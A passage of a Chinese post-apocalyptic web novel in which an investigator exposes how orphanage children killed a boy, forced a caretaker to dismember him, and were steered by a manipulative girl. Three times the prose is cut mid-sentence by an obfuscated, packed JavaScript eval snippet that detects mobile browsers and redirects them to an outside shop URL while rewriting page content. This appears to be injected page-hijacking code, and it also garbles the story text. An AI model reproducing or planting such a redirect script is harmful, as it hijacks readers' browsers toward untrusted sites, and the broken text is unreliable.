这是一张第十三避难所的简易地图。王乐乐用抽象稚嫩的画技,描出了几条连通避难所内外,防守比较薄弱的路线。 旁边的文字甚至用自制的密码加密过,但因为图画得很浅显,最终这份小巧思并未达到它原本被期望达成的效果。 “看来他早就在为逃跑做准备了。”冬珍珍说。 “你这样觉得?”钱雨青将地图递给冬珍珍,“那你觉得他会往哪条路走呢?” “为什么你……!”冬珍珍瞪了她一眼,眼神在地图上游移,最终指向某个方向,“这里吧,王乐乐喜欢在附近玩,他对那一带的地形很熟悉。” 钱雨青夸张地点点头,表示自己明白了。 “你要去找吗?我可以跟你一起。”冬珍珍仰着头说。 钱雨青却将笔记本一合,拒绝道:“不用,我已经耽误你太多时间了。你今天的任务还没做吧,快去快去。” 冬珍珍无法反驳,撅着嘴走了。 孤儿院的孩子们在识字读书的课程之余,每天还有其他分配下来的简单任务要做,比如协助养护武器或是去基地内的食堂帮工。这是比较受欢迎的工作,因为前者听起来很帅,后者经常可以趁机偷吃一些边角料,而成年人们通常对此睁一只眼闭一只眼。 冬珍珍做的是类似传口信的工作,帮隔壁的巡逻队把一些没那么重要的事件反馈结果递送给居民。传信的范围包括了整个避难所,连自行车都没有,走一趟下来累是小事,花费时间老长不说,还饿得快。 每个人每天的口粮都是定量的,本就不怎么够吃,消耗大也没有额外补充,冬珍珍只能灌半肚子水把自己哄睡,因此她总是睡得不香,时不时就得起夜上一趟厕所。 “她是主动揽下送信的活儿的?”钱雨青问。 “其实孩子们没有固定对应的任务,都是先到先得,”做饭的刘姨绞着衣服下摆,对“大人物”突如其来的问讯表现得非常紧张,“但送信很麻烦,大家都不想做,还为此吵过架……啊,只是嘴上吵了两句,没有动手……然后珍珍妹子就说这事以后都她来干,叫其他人别吵了……孩子们都相互体谅、很乖很乖的。” 保育员的房间夹在男寝和女寝中间,厨房的旁边。钱雨青过河拆桥地打发了冬珍珍,转过个弯就在厨房里抓住正择菜到一半的刘姨的肩膀,把人请到宿舍里。门一关,就是个简陋的审讯间。 昨天她便看得清楚,两个保育员中,刘春凡比李芳胆小得多,看见许怀嘉时眼神闪躲,一副气短的样子。 她剪着一头齐耳的短发,梳得十分整齐。修剪得很短的指甲边缘有一圈去不掉的黑渍。 钱雨青没有尊老爱幼的美德,只会趁人病要人命,现在满脸轻蔑地听着刘春凡说完话,她既不点头也不摇头,只是直直地盯着对方,许久没有说话。 直到刘春凡露出慌得快哭出来的表情,她才玩味地说:“啊……是吗?那王乐乐一般做哪样任务?” 刘春凡的眼珠在眼眶里飞快乱动,嘴里磕巴了好几下,才说明白话:“他,呃,那个,乐乐啊。乐乐,他,一般,呃,一般就是有什么做什么,不挑的。” “这么乖呀,”钱雨青勾起嘴角,眼睛却完全不笑,“我还以为他什么都不做呢。” 刘春凡看着她意味深长的表情,愣愣道:“珍珍都告诉你了?” 钱雨青大幅度上下扫视她,眼中闪过明显的厌恶:“刚才在背后偷看我的人原来是你!” “不,不光是我,”刘春凡拼命摇头辩解,“李芳和齐真、周永逸他们都在!” 李芳是另一个保育员的名字,齐真和周永逸则是孩子堆中的领头羊。他们两个再算上一个冬珍珍,才是这座孤儿院真正拿主意的“领导班子”。 “首领给你机会,给你信任,让你来看孩子,你就是这样报答她的。”钱雨青从笔记本里拿出一个刚从杂物间顺来的信封,随手“啪啪”拍了两下,“等会儿,我会让你去基地送封信。说说吧,你知道的所有事。如果你说少了,说的和我知道的内容不同,你知道后果。” “我冤枉啊,领导!我、我真的,一开始什么都不知道!求求你……我是被迫的,是被陷害的啊领导!全都是那群小孩干的,我发誓我说的每一句话都是真的,如果有假我就天打雷劈不得好死!不要把我赶出避难所啊领导!” 头发花白的老人“噗通”一声跪了下来,双手攥在一起求饶,声音沙哑,哭得一把鼻涕一把泪。 钱雨青半靠着木桌,无动于衷,一脸漠然,手里捏着笔转来转去,把下巴一抬:“别光嚎啊,说,你干了什么?” 刘姨拼命摇头:“领导,我什么都没有干,绝对不是我干的!他们把我喊过去的时候,王乐乐就已经死了!他们、他们污蔑我!他们威胁我!说我不帮他们处理,就把这件事推到我身上!我是没办法啊领导!” “他们?” “是齐真和周永逸干的!他们和王乐乐有仇!和我没有关系啊,我、我没有恨王乐乐的理由,对不对?我是被害的,我是被害的……” “李芳参与了吗?” “我不知道……” 她没有说谎。 看来找个软柿子捏是人类的底层代码之一,是不需要任何教育辅助就能无师自通的本能技巧。 “所以,齐真和周永逸这两个人叫你处理王乐乐的尸体。” “是、是……在这之前我根本不知道他们敢做这种事,我根本不知道哇……”刘姨点头哈腰。 “尸体你是怎么处理的?” 刘姨的嘴唇瑟瑟抖动着。恐惧和痛苦占满了她那张皱纹遍布的苍白的脸,以至于钱雨青一时没能在其中找到属于羞愧的色块,颤抖的语句从她紧咬的齿关间漏出:“我把他混在了厨余垃圾里。” 钱雨青突然笑了:“你?” “……是的,我,”刘姨一顿,小心翼翼地问,“怎么了吗?” “嗯,没怎么,”钱雨青转回话题,开了个小玩笑,“你没把他端去不该端上去的地方吧?” “什么?”刘姨一愣,神色随即变得震恐,“不,我没有!这怎么可能呢,绝对没有!” 缓和气氛的尝试大失败。 想要追查王乐乐的去向,难点便在于时间已经过去太久。 即使在监控遍地,侦查手段完备的现代社会,一场暴雨对证据的保存仍然是毁灭性的,更别提科技倒退后的末日了。 半个月时间足够让现场痕迹和物证都被尽数销毁,如果不动用异能这个不科学的大杀器,突破口便只剩下不够可靠的“人”本身。可喜可贺,在场并没有什么心理素质过硬的专业人士,以至于三两下就被钱雨青诈了个人仰马翻。 能同时满足将李芳排除在外,弄死王乐乐,逼迫刘春凡协助这三件事,作案地点已然呼之欲出。 “地点在哪?”钱雨青问。 “在——” 刘春凡刚张开嘴,却钱雨青抬手打断:“别用嘴说,我要你指给我看。” 刘春凡的脸色一下子灰暗下去。 杀死王乐乐的凶手,齐真和周永逸现在就在孤儿院中。今天钱雨青大摇大摆的行为已经惊动了所有心里有鬼的人,如果公然带着她去指认现场,那就是板上钉钉的背叛了。 但是,她也没有选择。 无论是之前,还是现在,她都没有选择。 战术靴不紧不慢地踩在坚硬的水泥地上,发出“咔哒、咔哒”的脚步声。 穿着黑风衣的身影在男生房间的门口停下,刘姨没有用手去指,反而回过身,恳求地看向钱雨青,像是在请求她留给自己最后一点自欺欺人的安慰。 脱离了需要向他人施压的环境,钱雨青的态度重新变得平静。她没有再刁难人,从口袋里拿出信封交给刘姨:“去基地,拿给林涵,就说是钱雨青的留言。” 刘姨一言不发地点头,转身离开。 乌鸦轻轻啄了一下钱雨青的耳朵,悄无声息地飞进了刘姨佝偻的影子之中。 钱雨青没有进入房间,只在门口歪头看着房间内。 男孩们的房间比女孩的房间乱得多,私人或公用的物品混杂在一起,充满了个人特色,充满了生活气息,唯独不像个曾经充斥过血腥的地方。 身后传来杂乱的脚步声,钱雨青偏过头,果然是齐真和周永逸。 “我们谈谈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470856|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”两个男孩说。 和其他瘦弱的孤儿院成员相比,齐真和周永逸的体型尚有几分健壮,身高也比别人更高,脸上泛着健康的红晕,不难看出他们领头羊的地位来自何处。 或许是平时横惯了,看着钱雨青时,他们非但没有露怯,反而眼中露出一股莫名其妙的敌意。高高抬起下巴增强气势的行为也透着雄赳赳气昂昂,像是笃定自己会赢似的。 钱雨青大笑出声,甚至鼓了两下掌。 她毫无收敛的意思,许多在大厅看漫画书或者玩玩具的小孩都或迷茫或好奇地望过来。 周永逸因她笑声中的轻视气恼得涨红了脸:“你什么意思?” “这是我的台词,”钱雨青居高临下地说,“事情已经败露,我们没什么好谈的了。” “我们有,”齐真面无表情,看起来比周永逸冷静得多,但身侧紧攥的拳头泄露了他真实的情绪,“王乐乐一直想要报复首领,他偷偷利用自己的异能侦察避难所的地形,准备里应外合,通敌泄密!所以我们才不得不这样做!” 钱雨青脸上猝不及防露出极意外的表情,睁大眼睛喃喃道:“地图……” 齐真眼神一亮:“对——” 然而钱雨青随即端正神色,沉下脸,用死鸭子嘴硬的语气说:“这只是你们的一面之词,根本没有实际的证据!你们在撒谎!” 两个男孩被她突然的翻脸震了一下,像是非常意外的样子,然后变得愤怒起来。周永逸大怒道:“有证据的,证据就在你手里!他画了避难所的地图,你明明知道的不是吗?!” “我才不知道你在说什么,”钱雨青表情慌乱了一瞬,又立刻强行镇定,“我什么都没找到。你们要完蛋了,这就是我唯一知道的事。” 她说着,神态又自若起来,得意洋洋地说:“哼,我可是怀嘉的好、朋、友。你觉得,我和你们这群没用的小屁孩相比,她会更相信谁的话?” 这副嚣张跋扈、眼高于顶的嘴脸,在一瞬间和另一张脸重叠。 心中的愤恨像毒火般烧向大脑,周永逸通红着眼睛,手指直指钱雨青,用完全破音的声音拼命怒吼:“臭表子你给我等着!我们所有人都不会放过你!所有人都不会!!” 钱雨青眯起眼,笑容中多了一丝讥讽。 齐真当即色变,抓住完全失去理智的周永逸,强行把人拖开了。 转过身,钱雨青不意外大厅中的所有孩子都已经转过脸看着她,无数复杂难言的目光将她淹没。 还真是所有人啊。 冬珍珍满脸难过地站在拐角处看着她,见她看过来,叫了一声:“青青姐。” “没去送信?” “我不放心你,就叫露露代一天我的班,”冬珍珍走过来,仰起头,“青青姐,为什么你说不知道有地图呢,我们不久前才一起找到的不是吗?” 钱雨青看着她:“你真想知道?” 冬珍珍抿唇,牵住她的手:“我们出去说。” 钱雨青没有抗拒,堪称顺从的让冬珍珍把她牵到了孤儿院附近一处隐蔽无人的小巷中。 “青青姐,别查下去了,没有人会高兴的,”她说着一开始就说过的话,“不是所有人都参与了,但所有人都会选择包庇他们。王乐乐做错了事,又得罪了太多人。就让这件事过去吧,现在把刘姨追回来还来得及。好不好?” “不好,”钱雨青说,“为什么珍珍不想我查下去呢?” 冬珍珍对她的理解能力绝望了,甚至忍不住双手扯了一下自己的头发:“我不是才刚刚说完吗……!!” “我是说,你真正的理由。”钱雨青说。 冬珍珍苦着脸放下手:“什么意思?” 钱雨青轻轻叹息,蹲下身,用手指梳理冬珍珍因营养不良而枯黄的齐肩短发:“意思是,没有亲手参与杀人的,被刘春凡以及齐真周永逸自愿包庇的,比谁都无辜的冬珍珍同学,究竟在其中扮演着怎样的角色呢?” 风穿过窄巷,吹起女孩的发丝。 冬珍珍将飞乱的头发挽到耳后,面无表情,仿佛脸上戴着一张严丝合缝的面具:“青青姐,我不懂你的意思。” “你懂了,”钱雨青怜爱地点头,“我看得出来你懂了。想骗过我,你还早了一百年呢,菜鸟。” 21. 关于你和我的事4 这指控毫无来由,完全称得上是污蔑。 “我只是有点生气,”冬珍珍镇定地说,“明明青青姐没有任何证据,根本就是在吓唬人,不是吗?” 钱雨青笑道:“看来你们听到我和刘姨的对话啦。” 冬珍珍睁大眼睛:“你故意的?” “所有人都知道,隔墙有耳。”钱雨青竖起手指,做了个静音的手势。 如果不是刘春凡招供得太快,齐真和周永逸也不会急得火烧屁股,跑过来和她谈判。 “那你就该知道,他们这样做是有理由的,”冬珍珍说,“所以我告诉了他们地图的事,对不起,青青姐。” “没关系,就当是那样吧,”钱雨青又不是真有正义感,纯粹是心血来潮的好奇心旺盛,一旦挖清楚来龙去脉,这事在她这里就算大结局了,“但我答应别人会找到王乐乐下落,所以你得告诉我他在哪。” “我不知道……” 好吧,好吧。就知道逃不过这一遭。 想要冬珍珍配合工作,只好从头说起了。 “你知道的,”钱雨青不耐烦和她拉扯半天,直球打断道,“处理王乐乐尸体的最后一环就是你。” 在实行宵禁制度的避难所中,能送走尸体的时间只有白天,相当于在所有人眼皮子底下行动,这无疑大大压缩了可选项。 每天都在避难所内送信的冬珍珍在这方面拥有极大的便利,大家习惯了她的存在,可以带着包裹四处游走不被怀疑。刘春凡将王乐乐的尸体拆分后,一点点混杂在厨余垃圾里,再由冬珍珍在避难所各处抛尸。 负责销毁的异能者不是专业的清洁工,现在的世界也没有余力再纠结环保议题,干湿垃圾和可回收不可回收垃圾统统一把火烧干净了事。至于拆袋检查分类更是没事找事,0个人会去干。 于是,王乐乐就这样无声无息地消失了。 “现在的天气不算冷,王乐乐的保质期很短。想要在臭晕所有人之前解决完毕,就必须加快进度,”钱雨青的手一直搭在冬珍珍的后脖颈处,指尖轻轻打着拍子,“如果去问周围居民,一定有人对那几天,你带的包裹多得不正常这件事有印象。” “假设,我是说假设。按你所说,我已经把尸体处理干净,那就更没什么能给你了。”冬珍珍不死心。 “那倒不一定,有的部分是特殊的。”钱雨青说。 如果钱雨青去当正经警察,那一定是天天无证据断案,隔三差五被骂梦游,只有被人投诉到当场停职的份。奈何现在没有“俺寻思举报热线”,冬珍珍没法叫来自己的律师和她对线,只能忍受她的无厘头。 “我不明白。”她说。 自认聪明的人总是很难妥协。 钱雨青用教导的温柔口吻说:“刘春凡是被迫成为你们的帮凶的,而你们选择她,是因为她脾气软好欺负,不敢到外面乱说。这样的人很难下狠手毁坏尸体,比如受害者的头部。” 面对那张死不瞑目的脸,罪恶感和恐惧便会油然而生。 处理一整具人类的身体并不像外行想当然的那样,仿佛切下两斤猪肉一样简单。 物资匮乏的孤儿院没有趁手的大型工具,刘春凡被迫一点点分割王乐乐的身体,这对她的精神造成了极大的冲击。 而没能按命令毁掉王乐乐的头加剧了齐真和周永逸对她的不信任。 同仇敌忾的孩童们的视线无处不在,最担心事情败露的齐真周永逸更会不断发出试探、警告。对刘春凡而言,孤儿院如同一间布满监视器的牢笼,而她无处可逃。 人一旦被恐惧长久折磨,心就会渴望解脱。 整整半个月,她彻底受够了。于是,当钱雨青这个“权威的大人物”轻易洞见了她不得不保守的秘密时,比起狡辩,她的第一反应居然是“终于来了”的如释重负,迫不及待地开始了忏悔。 “同理,这样的刘春凡是不会主动提出分尸这种酷烈的处理方法的,”钱雨青饶有兴味的目光远比谴责更冰冷,“提出这个方法的人是你。她憎恨逼迫她的齐真和周永逸,却选择了包庇你。她真的很喜欢你呀,珍珍。” “你因为刘春凡的懦弱选择她的时候,想的又是什么呢?” 冬珍珍的表情看起来像不小心吞了一只蟑螂。 这次她没有再否认和辩解,只是干涩地重复:“我选择她?” “显而易见,”钱雨青摊手,“齐真和周永逸都不是会这样做的人。” 刚愎自用、无所顾忌的十一二岁小孩,正处在胆子大大脑子小小的阶段。社会化程度不高,分不清危险的底线在哪,只有干一番大事的壮志凌云。被自身偏激的情绪掌控,热血上头时什么都敢干。 如果在秩序正常的社会中,他们有家长和学校管教,可能只会在社交平台上写几句黑深残感悟,在ID后面跟上一个括号已黑化括号,撑死了去当黄毛小混混。 但在此处、在此刻,支配他们的并非人性的束缚,而是兽性的丑陋。 “弱肉强食”以扭曲的方式被写进大脑,一匹狼的长嚎引来了更多的嚎叫。王乐乐释放了恶意,而他人以更恶回应。 “如果让他们拿主意,一定优先倾向于自己解决,而不是对外求助。而这时,他们刚刚冲动下手,对处理现场正束手无策的当口,你出现了。” 绝大多数凶手在作案后的第一反应都是掩盖现场,而不是拉人下水,除非他们有不得不这样做的理由。冬珍珍和那两个男孩的关系可没亲密到能让他们主动分享致命把柄的地步。 话明说到这份上,或许是钱雨青对此事似乎完全无所谓的随便态度打动了她,冬珍珍总算松了口:“你怎么知道他们是冲动?” “如果不是冲动,谁在宿舍里用剪刀杀人,”钱雨青耐心地说,“刘春凡说血溅得到处都是,光清洗就花了大力气。” 只有毫无顾忌的暴徒才不惮用最血腥的手段杀戮,而其目的也多半是震慑和恐吓敌人。从之后两人千方百计找补的行为看,显然不符合这样的侧写。 王乐乐的头颅被藏在避难所以外,附近一座废弃植物园的温室之中。 人的头颅特点太明显,其存在本身便意味着罪孽。在刘春凡实在无力处理的情况下,冬珍珍也不敢随便丢弃,生怕露出马脚,只好把它小心藏起。 温室用作支撑的钢筋结构塌了大半,被打破的玻璃天花板不再能阻挡风雨和太阳,娇弱的、名贵的品种死去了,皮糙肉厚的杂草野花高歌猛进,成了郁郁葱葱的赢家。 “只有我和露露才会来这里玩,别人都不知道,”冬珍珍怀念地笑了,“一开始还是嘉嘉姐介绍给我们的,但她好久好久没来了。” 她沿着碎石小路往前走,绕到一棵盘根错节的大树后方,手臂伸得直直的,脑袋仰得后后的,用两根手指小心拈起一个层叠打包的黑色包裹:“给你。” “不不不我不要,”钱雨青后退两大步,疯狂摆手,“你放旁边地上就行。” 这可是密封了半个月的陈酿,她甚至没有把它打开的勇气。 “……”冬珍珍将包裹放到地上,“所以,你的调查结束了?” 钱雨青点头:“圆满完成。” 冬珍珍张了张嘴,像是想要说些什么,但最终还是把头撇到一边:“不管怎么说,刘姨已经去基地了,她是被迫的,嘉嘉姐不会为难她。齐真和周永逸……也会得到惩罚吧。” 从嘴唇的动作看,她最开始想说的大概不是这句。 钱雨青突然恶劣地笑了:“你猜,我在信封里写的什么?” 冬珍珍瞳孔一缩,声音霎时发紧:“……什么?” “别紧张嘛,”钱雨青语调像唱歌似的说,“反正,那一点也不重要。” 有那么一瞬间,冬珍珍以为自己的心跳停止了。 小动物的本能在某种危险的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470857|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诡谲中示警,仿佛自己正在一条无光的小巷中盲目前行,而身后有什么追了上来。 不详的预感催促她开口:“你究竟是什么意思?” “我不知道,”钱雨青还是那种让人恼火的语气,“别担心,我又不会算命。有的事,只要你不说,我就永远没办法知道。” 钱雨青果真是睚眦必报的脾气。 不过几句话的时间,两人的立场就彻底倒转过来。拼命想要撬开别人嘴的人,和无论如何就是不开口的人都变成了对方。 她不说,冬珍珍只能自己绞尽脑汁思考,冷汗浮现在额头。 隐隐的不安压在心头,她却一时没能想清确切的缘由。 钱雨青信中的话不重要,重要的是刘春凡本人。她知道自己瞒不住了,一定会把自己所知的一切都告诉许怀嘉和林涵。 这一点,不仅是钱雨青和冬珍珍,孤儿院里的每个孩子都想得明白——齐真和周永逸就要完蛋了。 原本他们还能靠王乐乐里通外敌这个理由为自己辩解一二,但在钱雨青表示要不讲武德地向首领进谗言后,最后的这条退路同样被堵死了。 两个已经在冲动下杀过人的凶手,会在走投无路之时怎么做? “啊,对了,”钱雨青回忆道,“昨天我去孤儿院参观的时候,怎么感觉好像很多人都不喜欢露露?为什么,因为许怀嘉和保育员都偏爱她?因为她是异能者?” 冬珍珍的脸色前所未有地苍白起来。 她仓皇转身,但还没来得及迈开脚步,就被钱雨青拎住衣领:“来不及啦。你今天要送的信离孤儿院不远,她应该已经到家了。” 冬珍珍猛地转身,暴怒大喊:“你为什么不承认有地图!你为什么要撒谎?!” 如果、如果钱雨青没有发神经非要调查这件事,如果齐真和周永逸没有被逼到极限…… 女孩陡然尖锐的声音刺得人耳膜生疼,但钱雨青仍旧怡然自得,笑道:“撒谎撒到自己都信了?我否认的唯一理由,当然是因为那张地图不是王乐乐画的,而那两人也不是为此杀的人。” “你凭什么这么说?!” “你从没有以空中的角度俯瞰过避难所,是不是?”钱雨青说。 时间在一分一秒过去,沉默如同无形的绞索,紧勒着冬珍珍的脖颈。 最终,她支撑不住,眼泪自眼眶中涌出,她扯住钱雨青的衣袖,恳求道:“你是异能者!如果是你的话就还来得及对不对?你不是很喜欢露露吗?!求求你,救救她……” 钱雨青歪头:“我不明白,为什么你知道露露会出事?” “因为他们恨异能者!因为他们恨异能者!!”看出钱雨青无论如何都不想动弹,冬珍珍绝望地嘶吼道,“我告诉你,全部告诉你!是我挑拨了王乐乐和其他孩子的关系,是我加深了他和齐真周永逸的矛盾,是我拖刘姨下水没错,也是我画了地图,告诉他们可以这样洗白自己!你还想知道什么?你还想知道什么?!” 钱雨青缓缓蹲下身,赞叹道:“你是个天才呀,珍珍。” 虽然生活在一个道德界限模糊的环境中,但不是每一个十一岁小女孩都能做到这一步的。 黑色的影子摇动着,攀上钱雨青的肩膀,红眼的乌鸦自影中现身,对冬珍珍说:“别担心。我已经通知了林涵,她去救人了。” 闻言,冬珍珍两腿一软,噗通一声坐倒在地,用虚弱脱力的声音哽咽道:“谢谢你,青青姐,我知道你不会见死不救的……对不起,我不该骗你……” “……”钱雨青根本没这样打算,如果冬珍珍选择保全自己、放弃陈露,她也不介意。把消息提前告诉林涵完全是乌鸦自作主张,但乌鸦现在在名义上是她的异能造物,这个哑巴亏还非吃不可了。 当然,这不妨碍她装相:“现在肯说了?” 冬珍珍抬头望着空荡荡的天空:“嗯,全都告诉你。” 22. 关于你和我的…… 心灵导师模式on 冬珍珍嫉妒陈露。 不幸的是,与此同时,她爱她。 不,那大概不是爱。爱是一个人的灵魂尚且纯白时,所能给出的最纯洁的东西。 但冬珍珍嫉妒陈露,就像一颗草嫉妒着一朵花。 她和陈露第一次见面,是在家附近的便利店,天上正下着小雨。 尺码过大的雨鞋踩在积水上啪嗒啪嗒,努力撑着笨重黑色雨伞的冬珍珍扭头,看见漂亮的嫩黄绿色波点小伞从她身边飘过。 是喜欢的东西,是她没有办法得到的东西。 目光被吸引,她转过身,却猝不及防地看见另一个女孩也心有灵犀似的停住脚步,转身看她。 那个人眼神亮晶晶地说:“好大好帅的伞!你也住在附近吗?” 这就是冬珍珍被社交大王陈露恐吓,落荒而逃的全过程。 “当时我还以为你不喜欢我,回家后伤心了好久。”陈露把手肘撑在课桌上,双手捧着脸说。 小学的课间总是熙熙攘攘,偷吃零食的偷吃零食,偷玩手机的偷玩手机。冬珍珍和陈露换了位置坐在一起,用彩色铅笔虐待可怜的橡皮。 冬珍珍正专心给橡皮画领带,头也不抬地反问:“好久?” 陈露嘿嘿地笑。 陈露总能让人喜欢她,从老师家长,到尚且懵懂的同龄人。她富有感染力的笑容仿佛是某种与生俱来的天赋,冬珍珍无论如何也学不来。 她所拥有的标签,是“陈露最好的朋友”。 这大概是值得骄傲的事,但不知为何,偶尔也会让人感到难过。 和陈露不同,冬珍珍是个不太讨人喜欢的小孩。 爸爸妈妈说,她在幼儿园和别人打架之后,连哭都非要比对方大声,结果把自己嗓子喊劈了。 冬珍珍不想承认这事,但又觉得自己确实做得出来。 赢的感觉很好,陈露也很好,但输给陈露的感觉加倍的糟糕。 冬珍珍因病休学过,所以比陈露大一岁,却和她是同班同学。 疾病的背后是家庭的重担,父母没有对她抱怨过,但无法不早出晚归。她每天坐在床上,吃饭、睡觉、看书。很多很多的书,什么类型都有,这样能让她相信自己没有在虚掷生命。 但等到天色渐暗,她把灯打开后,书就看不下去了。 黑暗在她眼中是可怖的,于是无法不对迟迟未归的父母感到忧心,也无法不对无能的自己产生怨恨。 康复之后,冬珍珍变得更加要强,无论做什么事都会全力以赴。但即便如此,比同龄人更虚弱的身体还在拖她的后腿,一久坐就头疼脑热,只要剧烈运动,就会气喘吁吁。 但至少她很聪明不是吗?大家都夸她很聪明,反正现代社会最重要的是脑子,只要等到她大学毕业,一切都会好起来的。 然而,末日降临了。 救了她的人是陈露。 陈露觉醒了异能。 她没有。 这究竟是为什么? 一年的囚困让两个小女孩在绝望中相互依偎,但同时,有什么东西在疏远。陈露感觉得到,冬珍珍也感觉得到,但她们谁也不敢说,谁也不愿说。 冬珍珍喜欢在第十三避难所生活的日子,也喜欢救了她和陈露的许怀嘉。但这和她觉得许怀嘉做错了事不冲突——她不该带王乐乐回来的。 什么对他愧疚、要对他负责,这都完全无所谓嘛! 王乐乐那个叼人就不配活着!发生在他身上的一切倒霉事都是报应!就这样,不接受反驳意见! 被接到避难所的第一天,王乐乐就像条吃屎中毒的野狗一样狂吠,大骂刘姨和李姨人老、恶心,以后最好看他脸色,夹着尾巴生活,懂自懂。 他还说自己手里有许怀嘉的把柄,她也得讨好他,如果把人招来了倒霉的一定是两个老女人而不是他。 然后,冬珍珍冲了上去,和王乐乐大吵一架,两人就此结下了梁子。 在两个脾气又臭又硬,不肯低头的人之间,矛盾总是升级得格外快。一转眼的功夫,事态就从路过时互相恨恨地瞪着,升级到了暗戳戳下绊子。 其他孩子并不劝架,甚至乐见其成。毕竟人的精力是有限的,王乐乐专注于找冬珍珍的茬,就没空折磨他们了。 只是出于某种不为人知的原因,两个人的矛盾从未被陈露知晓,她成了唯一一个被蒙在鼓里的人。 直到两个月后,王乐乐隐瞒的原因才水落石出——他觉醒了异能。 “我就知道我有异能!”远远的,冬珍珍就听见王乐乐慷慨激昂的演讲,“我哥哥也有异能!我见过很多很多有异能的人,有异能的人就是和别人不一样!” 所以,异能者不用受欺负,而普通人,就算欺负了又怎样? 为了证明“异能者的确比普通人高贵”,第一个要被杀鸡儆猴的,当然是和他斗了两个月的冬珍珍。 那条钻出被窝的蛇只是个开始,王乐乐的手段层出不穷,很快的,其他孩子都不敢再和冬珍珍说话了。谁都看得出来冬珍珍快输了,谁也不想被揪到错误,成为王乐乐的下一个目标。 但冬珍珍也不会坐以待毙。 既然人不会在乎打在别人身上的拳头,那就让所有人都被打一顿好了。 孤儿院里,原本控制在两个孩子之间的矛盾很快扩大,变成了异能者至上的王乐乐与普通小孩的矛盾。而冬珍珍也一举在小孩子中掌控了一定的话语权。 孤儿院里有异能的小孩原本只有两个。 第一个是自第十三避难所建立前就跟在许怀嘉身边的陈露;第二个是有着战斗系异能,可以操控雷电的阳景。人人都知道,他们有时会去基地帮忙,已经预定是未来避难所核心队伍的成员之一了。再后来才加上了王乐乐。 异能者们拥有着理所应当的光辉未来。起先陈露和阳景友善低调时,一切好说,但当王乐乐将和睦的表皮撕开,才看到底下其他普通人血淋淋的惶恐不安。 在某个辗转反侧的夜晚,冬珍珍猛然意识到,她的愤怒拥有着嫉妒的形状。 这是不能对陈露释放的情感,但对王乐乐可以。 冬珍珍想要向命运证明,她不会输给任何人。 计划顺利得让人惊讶,挑拨脾气最暴躁的齐真周永逸和王乐乐也好,提前勘察地形、为退路做准备也好。在觉醒异能后,王乐乐狂妄得令人吃惊,多次说以后要报复许怀嘉,很多人都听到了他的论调,其中又以许怀嘉的副手林涵最为不满。 “如果他太过分,你就和我说,”林涵把冬珍珍单独叫出来,她显然听说了之前两人针锋相对的事,“大不了让他一个人住。” 这并不足够。 冬珍珍早就划定了王乐乐的结局,她的胃口已经不满足于一场小小的胜利了。她不是任人欺凌的弱者,她一定会成功的! “我一定会的。”她对林涵点头。 终于,某一天,王乐乐死了。 冬珍珍对此并不感到意外,有她的暗中煽动和王乐乐自己持续不断的刺激,这只是必然的结局。 她安抚失手杀人后大脑空白的齐真和周永逸,表明自己会包庇他们。之前和王乐乐的对峙为她轻而易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470858|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举地赢得了两人的信任,紧接着,冬珍珍叫来了她早就挑选好的部分孩子。 这些孩子都和王乐乐有过节,对其作威作福的行为不满已久。虽然不敢和他起冲突,但对他倒霉死掉这件事拍手称快。 同仇敌忾大概是建立团结最迅速的方式,在冬珍珍的引导下,齐真和周永逸很快成了勇于反抗不公的“英雄”一样的人物。说到最后,恐怕连他们自己都信了。 到最后,她甚至需要夸大地描述事情败露的严重后果,用恐惧逼迫他们隐瞒。免得哪天一觉醒来,发现周永逸已经用大喇叭在孤儿院门口宣传自己的光荣事迹。 整理现场的活计实在不顺利。即使其他人愿意包庇两个杀人者,但也没谁想自我奉献到去面对王乐乐的尸体,于是冬珍珍向那两人推荐了刘春凡。 不出所料,懦弱的刘春凡在孩子们的威逼下妥协了。 两个孩子杀了另一个孩子,还是个珍贵的异能者,她能怎么办呢? 她好不容易才进入肯收留她这样的老年人的避难所,好不容易才得到安稳的生活。她谁也不想得罪,谁也不敢得罪,为什么又被迫卷入这样的事? 起先,她以为自己要做的只是收拾房间,再把王乐乐的身体打包好,拉出去埋了。虽然害怕,但咬咬牙也不是不能做。然而,那群孩子居然是要逼她分尸。最后她还是做了,因为她没有选择。 但她最后还是成功保护了一个人,一个像她一样无辜被卷入的,曾经替她说过话的女孩,冬珍珍。那是个善良的好孩子,她不该蹚进这趟浑水来。 …… “王乐乐死之后,我一开始是感到高兴的,”冬珍珍对钱雨青说,“我不该感到高兴的,是不是?” “诶,问我?”钱雨青惊讶地睁大眼睛。 “不可以吗?” 钱雨青歪头:“嗯……我觉得,你现在说这些已经晚了啊。” 